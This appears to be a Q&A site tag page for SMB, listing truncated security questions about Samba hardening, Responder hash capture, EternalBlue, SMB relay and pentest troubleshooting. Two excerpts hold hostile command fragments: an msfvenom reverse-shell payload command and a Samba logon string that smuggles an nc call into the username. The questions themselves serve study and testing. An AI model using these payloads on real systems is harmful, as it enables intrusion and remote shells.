Questions tagged [smb]
The smb tag has no usage guidance.
63 questions
2
votes
1
answer
190
views
What are the infection risks for a SMB/Samba file share from an infected client PC?
I have a PC on my home network that I consider potentially infected by exposure to an untrusted program from the internet. (Antivirus detected nothing, and the PC runs fine, but I'm choosing to err on ...
- 23
0
votes
0
answers
56
views
UNC Path Injection Testing over NAT
I am penetration tester. I am struggling to check for UNC path injections in the web apps because of the environment that I am in. I am conducting a pentest of a web app in my company's local network. ...
- 1
0
votes
0
answers
363
views
Impossible NTLMv2 hash format with Responder lm option
While doing an internal assessment, I stumbled upon a very weird looking NTLMv2 hash (I will not use the "Net-NTLM" terminology but I'm talking about the NTLM protocol ) while using ...
- 1
2
votes
1
answer
609
views
Msfvenom reverse_tcp without LHOST
I have tested SMBGhost (CVE-2020-0796). I used the following msfvenom command to generate a reverse shell payload.
msfvenom - p windows/x64/meterpreter/reverse_tcp LPORT = 4444 - b '\x00' - i 1 - f ...
- 21
0
votes
0
answers
298
views
Responder still catching hashes with LLMNR and Netbios over TCP/IP disabled. Is this by design?
My responder is still catching hashes from Windows 10 box that has had Netbios over TCP/IP (DHCP scope option) and LLMNR disabled (GP).
The workstation invokes the net view \\responderip and responder ...
1
vote
0
answers
735
views
smb connection not working, "Current VUID is 0"
I am getting an error that says "Current VUID is 0" no matter what I put in as a command. The command I'm attempting (with my listener properly configured) is:
smb: \> logon "/=`nc ...
0
votes
0
answers
100
views
EternalBlue Across Networks
I am working on some research and I am trying to unpack exactly how NotPetya used the eternalblue vulnerability to spread across networks. My understanding of the SMBv1 Protocol is that it would not ...
- 235
0
votes
0
answers
90
views
Possible pitfalls with filesharing using local account instead of domain account
I've recently eradicated Active Directory from my network. However, I'm having trouble verifying there is no issue with sharing files using a local account instead of a domain account.
I have exactly ...
- 1
0
votes
2
answers
144
views
How do AV interact with malicious executables in remote shares?
I mainly use Linux and am not very familiar with Windows shares so my apologies if this question sounds noobish.
Say I'm attacking a Windows machine and host an SMB share from my Linux machine with ...
- 3,482
0
votes
1
answer
744
views
Uploading/writing server files via SSRF?
Say I've found a perfect SSRF vulnerability in a web application that lets me send web requests to any URL, any host, any port, any scheme. I can use the file:// scheme to get the contents of local ...
- 99
2
votes
0
answers
253
views
Can SMB/CIFS credentials be extracted from Linux?
On a penetration test, I have completely compromised a Linux machine and I am now trying to move around the network. The Linux machine has a mounted CIFS share, and I want to get the password used to ...
- 99
1
vote
0
answers
214
views
What prevents attackers from posing as legitimate smb server?
Let's suppose on my computer was a connection to a smb network share, set to reconnect automatically on startup. Now one of the following things happens:
The computer is booted up in another network
...
- 11
0
votes
1
answer
5k
views
RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)
I've been playing around with the EternalBlue exploit recently. I've downloaded a Windows 10 iso file from 2016 and used it to set up a Windows 10 Pro VM as my sandbox. I also ran the nmap script and ...
- 15
2
votes
0
answers
325
views
Is SMB3-only Samba secure?
There's lots of "SMB is bad" parrotting online, and whenever I look closely, these claims are either unsubstantiated, or apply to unpached or misconfigured Windows servers or old versions of ...
- 653
1
vote
1
answer
425
views
Watering Hole Website NTLM Steal Attack
I'm trying to recreate a Watering hole SMB theft attack where you send a victim a link to your website containing code like file://ip/file.gif.
Causing forced authentication which passes the NTLM hash....
0
votes
1
answer
291
views
Synology logs SMB "Read" event false positives
We recently switched to a Synology enterprise setup at work and we're hoping to benefit from the additional logging that comes with Synology software. In response to a security incident, I found log ...
- 225
0
votes
2
answers
4k
views
How safe is it to use SMB file share on a machine running up-to-date Windows 10 LTSC through the Internet?
Running Windows 10 LTSC. Forwarded 445 port on the router to Windows SMB.
Assuming that:
My machine has no viruses in it (fresh Windows installation)
It has been updated to the latest OS release
I am ...
3
votes
1
answer
2k
views
SMBv1 Server vs Client relative vulnerability risk
IT support guy here (NOT security expert):
I have several clients who currently have at least one legacy appliance that runs a Samba (or something like it) server using SMBv1, which cannot be upgraded ...
- 31
1
vote
1
answer
548
views
Meterpreter pivot with a bind_named_pipe
I have a pivot setup on a compromised windows 10 box and am trying to get an SYSTEM shell on a separate machine in the target network. I have successfully done this abusing an unquoted service path ...
- 199
2
votes
2
answers
5k
views
The security of an SMB port exposed to the internet
I have installed a Windows machine with update 1909 (build 18363.720 (March 2020) (On which I try to find vulnerabilities with nmap), which includes smb 3.1.1 with the latest fixed bugs. I created a ...
- 121
0
votes
1
answer
432
views
Are metasploit exploits port-specific (smb-samba)?
I was trying a machine on vulnhub and I found port 139 open that was samba-4.3.11.
I searched for an exploit for that particular version and I found the is_known_pipename() exploit. But when I ran it, ...
1
vote
2
answers
3k
views
How to trace SMB connection to what process initiated the connection?
I have a situation where I see a bunch of SMB connections initiated from a client to a server every night and it triggers an SMB brute-force alert on my Firewall.
I installed Sysmon on the server to ...
- 11
0
votes
0
answers
2k
views
System Process PID 4 Attempt to connect to Public IP using port 445
I was cross checking my environment and i found that System process PID 4 establishing Outbound connection to public IP using Port 445 is that a normal behavior?
OS: Windows 10 1909
System PID 4
...
3
votes
0
answers
187
views
smb iptables configuration not working with vpn killswitch
my main goal is to setup iptables that work as a VPN killswitch for my openvpn connection. Thanks to a post from forest, this was pretty straight forward: OpenVPN kill switch on Linux . So. everything ...
- 31
2
votes
1
answer
435
views
Samba and verifying server identity
Suppose that I have two Windows 10 (Professional edition) computers, one (PC) sharing a folder and second one (notebook) copying data to the shared folder automatically. I would like to prevent ...
- 23
0
votes
0
answers
367
views
ms08_067_netapi exploit & pivoting problem
I'm having troubles with ms08_067_netapi.
I have a private network with a web server (10.10.2.10), windows 7 (10.10.2.8) and windows XP (10.10.2.9). I'm hacking from outside the private network with ...
- 1
0
votes
1
answer
590
views
How to close port 445 (Apple Time Capsule smbd)
My default configuration of Apple Time Capsule has port 445 (Apple Time Capsule smbd) open to the world. Online port scanners (shodan/detectify.com) show me that this. What's a bit worrying is the ...
- 101
1
vote
1
answer
2k
views
Security risks of file shares vs ssh or sftp, in "backward" direction?
I work for a municipal government, using mostly Windows servers. In recent days several similar governments in our geographic area have been attacked, some successfully, by ransomware. So our security ...
- 11
0
votes
2
answers
385
views
unauthorized devices appear in windows 10 network drive SMB [closed]
Few days ago I was trying to access a shared folder via SMB on Windows File Explorer and noticed 3 strange mobile phone devices appear listed in the network drive. I never owned any of the mobile ...
- 11
0
votes
0
answers
715
views
How Responder exactly works?
I know how Responder works but I am a little bit confused regarding the attack.
Responder runs on attacker's machine and waits for someone to type something wrong in Windows Explorer. For ex: instead ...
- 53
4
votes
2
answers
405
views
Will enabling SMB protocol authentication prevent Ransomware attack like WannaCry spreading in network?
We have a requirement of using SMB protocol due to a system limitation. will enabling SMB authentication among the nodes will prevent the ransomware threat spreading in network?
Reference: https://...
- 2,037
1
vote
1
answer
422
views
Is it possible to execute an executable with authenticated SMB?
Assume the following:
An attacker has access to a remote Windows share on a remote host.
Attacker manages to bruteforce a local Windows account on the host and can login to it via SMB.
Attacker can ...
- 321
0
votes
1
answer
3k
views
Can SMBv1 be secure if used for just SMB server discovery?
I noticed that my SMB shares from a Samba server no longer appeared in Windows 10 network browsing (network neighborhood) in Windows file explorer. The reason turned out to be that this functionality ...
- 121
1
vote
1
answer
3k
views
Is it possible to block psexec without blocking regular SMB access?
I don't have much experience in protecting windows machines, so sorry if I'm missing something obvious; how would one protect from psexec without disabling SMB? One could disable the admin$ share, but ...
- 105
0
votes
1
answer
853
views
My system is being attacked or it is attacking
My system is running on Windows 10. I am using Avast Free Antivirus. Today i got an update from Windows update. After installing that update Avast started raising notification saying
We've safely ...
- 105
0
votes
1
answer
174
views
Is it safe to install MS17-010 unpatched OS as guest on patched host?
For example, these are unpatched old OS.
Windows 98
Windows 98 SE
Windows ME
Windows NT 4.0
Windows 2000
Given that SMBv1 is not disabled on host but already patched.
Is the unpatched guest OS ...
- 101
2
votes
1
answer
2k
views
How dangerous is SMBv1?
I have a NAS (network disk) from Zylex which stopped working under Windows 10 a while ago. Investigation shows that it uses SMBv1, which was implicated in several ransomware attacks and was therefore ...
- 133
3
votes
0
answers
610
views
SMB Session Hijacking
I've been recently studying SMB protocol for a better understanding of it while doing windows environment pentesting.
Regarding SMBv1 and v2, in both cases the Session Setup Request is sent using ...
- 71
0
votes
1
answer
3k
views
How can I brute force an individual smb share?
I am trying to complete a CTF and am presented with a machine that has several SMB shares, as found using metasploit auxiliary/scanner/smb/smb_enumshares.
- Windows XP Service Pack 3 (English)
- IPC$ ...
- 63
0
votes
1
answer
151
views
why am i unable to gain access to remote pc through smb while having correct credentials? [closed]
I have set up my ethical hacking and penetration lab. My host OS is Windows 10 and target 0S is Windows 7. I want to penetrate into Windows 7 from Windows 10 through SMB.
When I try to penetrate, it ...
9
votes
2
answers
2k
views
What harm is there in obtaining password hashes in a Windows environment?
ArsTechnica posted this article recently talking about how the power grid has been penetrated:
Hackers lie in wait after penetrating US and Europe power grid networks
Excerpt:
One tactic involved ...
- 977
3
votes
1
answer
516
views
SMBRelay Attack - Mount Share instead of Code Execution
Is it possible to execute an SMBRelay attack that mounts a share instead of execute code? The application I am testing uses a non-administrative user but has access to several SMB shares. Only NTLMv2 ...
- 284
3
votes
0
answers
54
views
Possible EternalBlue Infection, Next Step? [duplicate]
Sorry if I messed up in any manner, e.g. title, details, tags, layout, venue, response plan, etc. I know a little of the stacks and security in general.
Short Version:
I found material on my other ...
- 131
1
vote
2
answers
534
views
Firewall detects CVE 2017-0016
My firewall is dropping traffic from 3 terminals connected through SSL Client-2-Site VPN, because it detects " Microsoft Windows SMB CVE 2017-0016 Tree Connect Response denial of service vulnerability ...
- 11
1
vote
0
answers
762
views
SMB/CIFS security in heterogeneous environment
Suppose I have several machines both Linux and Windows I want to connect to each other for file-sharing. Now I use mount -cifs command with vers=3.0 clause to access Windows shares from my Linux ...
- 304
4
votes
1
answer
7k
views
What to do if you still have SMBv1 running on your network?
I was looking into the network traffic at our company while preforming a security audit and I found that we still have a server running SMBv1 on the network.
The server is a Windows 2003 Domain ...
- 433
0
votes
1
answer
3k
views
Internal Pen testing - Can't get SMB Relay attack to work?
Using Responder to capture NTLMv2 hashes on LAN using kali and relay them to the smbrelayx.py module from Impacket.
I understand I have to change the config file in Responder to set the SMB and HTTP ...
2
votes
1
answer
2k
views
Effective blocking of SMB connections on AsusWRT
I recently was attacked by some cryptolocker (not sure if it's WannaCry) and now I am revising my network policies. For reaching this aim I want to disable all SMB-activity for infected PC. ...
- 304
3
votes
2
answers
5k
views
EternalBlue exploit doesn't work against windows 8
i have tried this poc:
https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e
against a windows 8 target that i own, the code exits with an error that says:
impacket.nmb.NetBIOSTimeout: ...
- 43
-9
votes
2
answers
535
views
WannaCrypt-style SMB exploits known since Stuxnet, circa 2008, but Microsoft hid fixes from us. So what is new now? [closed]
WannaCrypt-like SMB spreading technique was widely used in Stuxnet, as docummented by Symantec and Kaspersky.
Read this: W32.Stuxnet Dossier (2010,Symantec PDF)
Now we have the name of the exploit: ...
- 977